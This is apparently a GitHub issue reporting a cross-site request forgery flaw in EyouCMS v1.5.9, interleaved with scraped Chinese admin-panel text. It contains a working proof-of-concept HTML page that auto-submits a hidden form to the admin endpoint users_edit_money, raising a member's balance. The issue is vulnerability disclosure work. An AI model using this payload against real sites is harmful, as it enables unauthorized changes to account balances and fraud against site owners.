

<> Code

Issues 36

Pull requests

Actions

Projects

Wiki



New issue

[Jump to bottom](#)

EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF) #28

Open

h18192h opened this issue on Oct 14 · 0 comments

h18192h commented on Oct 14

栏目管理

内容管理

待审稿件

广告管理

基本信息

SEO模块

插件应用

会员中心

功能地图

会员中心

会员列表

会员级别

会员属性

功能配置

全部会员 4 注册会员 1 中级会员 1 高级会员 2

搜索用户名...

<input type="checkbox"/>	ID	头像	昵称/绑定	级别	激活	注册日期	操作
<input type="checkbox"/>	4		test111	注册会员	是	2022-09-22 15:28:36	编辑 删除
<input type="checkbox"/>	3		test03	高级会员	是	2022-09-22 15:23:55	编辑 删除
<input type="checkbox"/>	2		test02	高级会员	是	2022-09-22 15:23:55	编辑 删除
<input type="checkbox"/>	1		test01	中级会员	是	2022-09-22 15:12:50	编辑 删除
<input type="checkbox"/>	批量删除		批量新增		共有4条,每页显示 100		

栏目管理

内容管理

待审稿件

广告管理

基本信息

SEO模块

插件应用

会员中心

功能地图

会员中心

会员列表

会员级别

会员属性

功能配置

← 编辑会员

基本资料



ID: 1

[个人中心](#)

用户昵称: test01

用户名称: test01

登录密码: 不修改留空

绑定信息:

会员级别: 中级会员

会员天数: 8

手机号码: 13644444444

邮箱地址: 123@11.com

注册时间: 2022-09-22 15:12:50

最后登录: 2022-09-22 16:18:08

登录 IP: 127.0.0.1

保存

财务信息

余额

¥0

充值 明细

积分

6000

充值 明细



2、Grab the request package for recharge and construct it

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "90", "80" );

function pausecomp(millis)
{
var date = new Date();
var curDate = null;

do { curDate = new Date(); }
while(curDate-date < millis);
}

function fireForms()
{
var count = 2;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();

pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://eyoucms.io:80/login.php?m=admin&c=Member&a=users_edit_money&lang=en">
<input type="hidden" name="type" value="1"/>
<input type="hidden" name="money" value="1000"/>
<input type="hidden" name="cause" value=""/>
<input type="hidden" name="users_id" value="1"/>
</form>
</body>
</html>
```

3、Open in another browser and go to the background page, see that the user test01 balance is 1000

内容管理

待审稿件

广告管理

基本信息

SEO模块

插件应用

会员中心

功能地图

会员列表

会员级别

会员属性

功能配置

基本资料

ID: 1

个人中心

用户昵称: test01

用户名称: test01

登录密码: 不修改留空

绑定信息:

会员级别: 中级会员

会员天数: 8

手机号码: 13644444444

邮箱地址: 123@11.com

注册时间: 2022-09-22 15:12:50

最后登录: 2022-09-22 16:18:08

登录 IP: 127.0.0.1

保存

财务信息

余额

充值 明细

¥ 1000

积分

充值 明细

6000

4、Click on the structured page

某某网络科技有限公司-慧优CM

跳转提示

不安全 | eyoucms.io/login.php?m=admin&c=Member&a=users_edit_money&lang=cn

操作成功

页面自动 跳转 等待时间: 1

不安全 | eyoucms.io/login.php?m=admin&c=Member&a=users_edit_money&lang=cn

当前余额:

*余额变化:

增加

减少

最终余额

*充值数目:

请输入充值数目

元

操作备注:

请输入备注

取消

确定

The figure above shows the page that automatically jumps after successful execution to check whether the balance has increased?

Eyoucms

栏目管理

内容管理

待审稿件

广告管理

基本信息

SEO模块

插件应用

会员中心

功能地图

会员中心

会员列表

会员级别

会员属性

功能配置

← 编辑会员

加入黑名单

基本资料

ID: 1

个人中心

用户昵称: test01

用户名称: test01

登录密码: 不修改留空

绑定信息:

会员级别: 中级会员

会员天数: 8

手机号码: 13644444444

邮箱地址: 123@11.com

注册时间: 2022-09-22 15:12:50

最后登录: 2022-09-22 16:18:08

登录 IP: 127.0.0.1

保存

财务信息

余额

充值 明细

¥ 2000

积分

充值 明细

6000

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant